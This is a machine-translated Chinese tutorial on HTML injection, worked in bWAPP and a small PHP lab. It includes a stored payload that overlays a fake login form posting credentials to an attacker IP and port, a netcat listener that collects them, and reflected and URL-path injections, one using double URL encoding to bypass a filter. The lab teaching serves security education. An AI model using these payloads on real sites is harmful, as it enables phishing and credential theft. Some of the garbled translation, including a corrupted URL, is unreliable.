**“ HTML”***被视为每个Web应用程序的***框架***,因为它定义了托管内容的结构和完整状态。*那么,你是否想过,是否用一些简单的脚本破坏了这种结构?还是这种结构本身成为Web应用程序损坏的原因?今天,在本文中,我们将学习如何**配置错误的HTML代码**,为攻击者从用户那里获取**敏感数据**。
**HTML**是其中确定所述web页面上的web应用程序的形成的基本构建块。HTML用于设计包含**“超文本”的**网站,以便将“文本包含在文本中”作为超链接,并包含包裹数据项以在浏览器中显示的**元素**组合。
*那么这些元素是什么?*
“元素是HTML页面的所有内容,即,它包含**开始**和**结束标记**以及介于两者之间的**文本内容**。”
HTML标签标记了内容片段,例如“标题”,“段落”,“表单”等。它们是由包围的元素名称**尖括号**和两种类型的-的“开始标记”,也称为**开口标签**和“结束标记”简称为**所述闭合一个**。浏览器不显示这些HTML标记,而是利用它们来捕获网页的内容。
为了向元素提供一些额外的信息,我们使用**属性,**它们位于*start标记*内,并以**“名称/值”**对的形式出现,以便**属性名称**后跟“等号”和**属性值**包含在“引号”中。
1<a href = "http://hackingarticles.in">Hacking Articles </a>
在这里,*“ href”*是**“属性名称”**,“ *http:// hackingarticles”*是**“属性值”。**
现在我们知道了基本的HTML术语,让我们查看**“ HTML元素流程图”**,然后将进一步尝试全部实现它们以创建一个简单的网页。
互联网上的每个网页都在某个地方或另一个HTML文件中。这些文件不过是带有**“** **.html** **”**扩展名的简单纯文本文件,它们是通过Web浏览器保存并执行的。
因此,让我们尝试在记事本中创建一个简单的网页并将其另存为**hack.html:**
<html><head><title> Hacking Articles lab</title></head><body bgcolor="pink"><br><center><h2>WELCOME TO <a href=”Hacking Articles - Raj Chandel's Blog”>HACKING ARTILCES </a></h2><br><p>Author “Raj Chandel”</p></center></body></html>
让我们在浏览器中执行这个**“ hack.html”**文件,看看我们开发了什么。
我们已经成功设计了我们的第一个网页。但是这些标签如何为我们工作,让我们看看它们:
我想您现在对“ HTML是什么及其主要用途”和“我们如何实现这一切”一清二楚。因此,让我们尝试找出主要漏洞,并了解攻击者如何将任意HTML代码注入易受攻击的网页中,以修改托管内容。
HTML注入是当网页无法清理用户提供的输入或验证输出时出现的最简单,最常见的漏洞之一,从而使攻击者能够制作有效载荷并通过易受攻击的字段将恶意HTML代码注入应用程序中,以便他可以修改网页内容,甚至获取一些敏感数据。
让我们看一下这种情况,并了解如何执行此类HTML注入攻击:
*考虑一个遭受HTML注入漏洞并且不验证任何特定输入的Web应用程序。因此,攻击者发现了这一点,并向其注入了带有***“免费电影票”***诱饵的恶意***“ HTML登录表单”***,以诱骗受害者提交其敏感的凭据。*
*现在,当受害者浏览该特定网页时,他发现可以使用那些***“免费电影票”了。***当他单击它时,他会看到该应用程序的登录屏幕,这只是攻击者精心制作的***“ HTML表单”。***因此,攻击者一输入凭据,便会通过其侦听器捕获所有凭据,从而导致受害者破坏其数据。*
如果未正确清理网页中的输入字段,则有时此HTML注入漏洞可能导致我们遭受**跨站点脚本(XSS)**或**服务器端请求伪造(SSRF)攻击。**因此,该漏洞的**严重等级**为“ **中等”**,而其**“ CVSS得分为5.3”则报告**为:
在此类攻击期间,我们有机会免于执行**HTML注入**攻击,但由于XHTML注入与跨站点脚本几乎相似,因此我们放弃了**XSS**。但是,如果我们仔细观察两者之间的距离,我们会注意到,在**XSS攻击**期间,攻击者有机会注入并执行**Javascript代码,**而在**HTML** **注入中,**他/她势必会使用某些**HTML标签**来破坏该网页。
现在,让我们深入研究不同的HTML注入攻击,并查看异常方式如何破坏网页并捕获受害者的凭据。
一个**“保存HTML”**也被称为**“** **持久性”**,因为通过这个漏洞注入恶意脚本获取Web应用程序服务器中永久保存,当他参观注入网页应用服务器进一步降低它返回给用户。但是,当客户端单击*显示为网站官方部分的*有效负载时,注入的HTML代码将由浏览器执行。
**存储HTML**的最常见示例是博客中的**“评论选项”**,它允许任何用户以管理员或其他用户的评论形式输入其反馈。
现在,让我们尝试利用此存储的HTML漏洞并获取一些凭据。
我已经在浏览器中打开了目标IP并以**蜜蜂:bug的**身份登录BWAPP ,此外,我已将**“选择错误”**选项设置为**“** **HTML注入-已存储(博客)”**,并启动了**hack** **按钮。**
现在,我们将被重定向到遭受**HTML注入漏洞的**网页,该**漏洞**使用户可以在屏幕快照中将其条目提交到博客中。
最初,我们将通过**“ bee”**生成一个正常的用户条目,作为“ Hacking Articles”,以确认输入数据已成功存储在Web服务器的数据库中,因此可以在“ **Entry字段”中**看到**。**
现在,让我们尝试注入恶意负载,该负载将在此目标网页上**创建***虚假的用户***登录表单**,从而将捕获的请求转发到**我们的IP上**。
在给定的文本区域内输入以下HTML代码,以设置HTML攻击。
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid
credenitals:<br><form name="login" action="http://192.168.0.7:4444/login.htm">
<table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Login"/></td></tr>
</table></form>
从下图可以看到,当我单击“提交”按钮时,新的登录表单已显示在网页上方。因此,此登录表单现在已存储到应用程序的Web服务器中,每当受害者访问此恶意登录页面时,该服务器都会呈现该登录表单,他将始终拥有该表单,对他而言看起来很正式。
因此,现在让我们在端口**4444上**启用我们的**netcat侦听器**, 以捕获受害者的请求。
1nc –lvp 4444
尽管需要等待,但要等到受害者将页面引导至浏览器并输入其凭据时为止。
从上面的图像中,您可以看到用户**“ Raj”**打开了网页,并尝试以**raj:123的**身份登录内部**。**
因此,让我们回到**侦听器**并检查是否在响应中捕获了凭据。
从下图可以看到,我们已经成功获取了凭据。
该**反映HTML**也被称为**“** **非持久性”**时,立即对用户的输入,而不用验证用户输入的内容的Web应用程序响应,这可能会导致单个HTML响应内部的攻击者注入浏览器可执行代码的发生。它被称为**“非持久性”,**因为恶意脚本没有存储在Web服务器中,因此攻击者需要通过网络钓鱼发送恶意链接来诱捕用户。
在**网站的搜索引擎中**可以轻松找到反射的HTML漏洞:攻击者在这里在搜索文本框中编写了一些任意HTML代码,如果网站容易受到攻击*,结果页面将作为对这些HTML实体的响应而返回。*
反映HTML基本上分为三种类型:
在利用Reflected HTML实验室弄湿之前,让我们回想一下–使用GET方法,我们从特定来源**请求数据**,而POST方法用于**将数据发送到服务器**以创建/更新资源。
在这里,我们创建了一个网页,从而允许用户使用其“名称”提交“反馈”。
因此,当用户**“ Raj Chandel”**将其反馈提交为**“ Good”时**,将出现一条消息,提示为**“感谢Raj Chandel宝贵的时间。”**
因此,此即时响应和URL中的*“名称/值”*对表明,此页面可能容易受到**HTML注入的**攻击,并且已通过**GET**方法请求了数据。
因此,现在让我们尝试将一些HTML代码注入此“表单”中,以便对其进行确认。在“名称”字段中键入以下脚本,如下所示:
1<h1>Raj Chandel</h1>
并将**“**反馈**”**设置为**“良好”**
从下图可以看到,用户名**“ Raj Chandel”**已被修改为标题,如响应消息中所示。
不知道为什么这一切都会发生,让我们检查以下代码片段。
用的放心,以反映该**消息**在屏幕上,开发商没有设置任何输入验证即他只是**“回声”**的*“谢谢消息”*通过包含了通过输入名称**“$ _GET”**变量。
*“有时开发人员会在输入字段中设置一些验证,从而将我们的***HTML代码***重新呈现到屏幕上而不会被渲染。”*
从下图可以看到,当我尝试在**name字段中**执行HTML代码时,它会以纯文本的形式将其放回:
那么,该漏洞是否已在此处修补?
让我们通过帮助手“ burpsuite” 捕获其**传出的请求**来检查所有情况,并将捕获的请求直接发送到**“ Repeater”**选项卡**。**
在“ Repeater”选项卡中,当我单击**“ Go”**按钮以检查生成的**响应时,**我发现我的HTML实体已在此处**解码**为**HTML**:
因此,我处理了完整的HTML代码**“ <a href = http://hackingarticles.in"> <h2> Raj </ h2> </a>”,** 并将其全部粘贴到“ **解码器”选项卡中。**我单击了**“编码为”,**并选择了**URL** 1。
获得编码输出后,我们将再次在**URL**的**“编码为”中对其**进行设置,以使其获得**双URL编码**格式。
现在让我们尝试一下,*复制完整的双重编码的URL,然后将其粘贴到***Request***选项的***Repeater选项卡***中的***“ name =”***字段中。*
单击“执行**”**按钮以检查其生成的**响应。**
从下图可以看到,我们已经成功地操纵了**响应。**
现在,只需在“ **代理”**选项卡中进行类似的修改,然后单击**“转发”**按钮即可。从下图可以看到,我们也通过其验证字段破坏了此网页。
让我们检查一下代码片段,看看开发人员在哪里进行了输入验证:
从下图可以看到,在这里,开发人员对变量**数据**进行了**“破解”**,甚至将**“ <”**和**“>”**解码为**“&lt;”。**和**“&gt;”** 为**$数据**和**$输入**分别**,**进一步他使用内置的PHP函数**urldecode**超过了**$输入** 到解码最多的URL。
从下面的图像中,您可以看到开发人员在**名称**字段上实现了功能**破解**。
类似于“获取网页”,这里的**“名称”**和**“反馈”**字段也很容易受到攻击,因为已经实现了**POST方法**,因此表单数据将不会显示在URL中。
让我们尝试再次破坏此网页的外观,但这一次我们将添加图片而不是静态文本作为
1<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">
从下图可以看到,**“ Ignite技术徽标”**已放置在屏幕上方,因此攻击者甚至可以注入其他媒体格式,例如视频,音频或Gif。
*网页上没有输入字段时,Web应用程序是否容易受到HTML注入的攻击?*
是的,没有必要像**注释框**或**搜索框**那样输入文件,*某些应用程序会在其网页上显示您的URL,*并且它们可能容易受到HTML注入的影响,因为在这种情况下,**URL**充当其输入字段。
从上面的图像中,您可以看到**当前URL**在网页上显示为**“** **h吗ttp://192.168.0.16/hack/html_URL.php**]1(h黑ttp://192.168.0.1马赛克6/hack/html%255C_URL.php%255C%255C) **”。**因此,让我们接管这一优势,看看我们可以得到什么。
调整您的**“ burpsuite”**并捕获正在进行的**HTTP请求**
现在让我们使用以下命令处理此请求:
1/hack/html_URL.php/<h1>Hey_are_you_there?</h1>
单击**前进**按钮以在浏览器上检查结果。
从下图可以看到,只需将所需的HTML代码注入Web应用程序的URL中,我们就成功地破坏了网站的形象。
让我们看一下它的代码,看看开发人员如何在屏幕上获取当前URL。
在这里,开发人员使用PHP全局变量作为**$ _SERVER**来捕获当前页面URL。此外,他用“ HTTP_HOST”修改了主机名,并用“ REQUEST_URI”修改了URL的请求资源位置,并将其全部放在**$ url**变量中。
进入HTML部分,他只是使用**$ url**变量设置了**echo**,而没有任何特定的验证,以便显示带有URL的消息。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。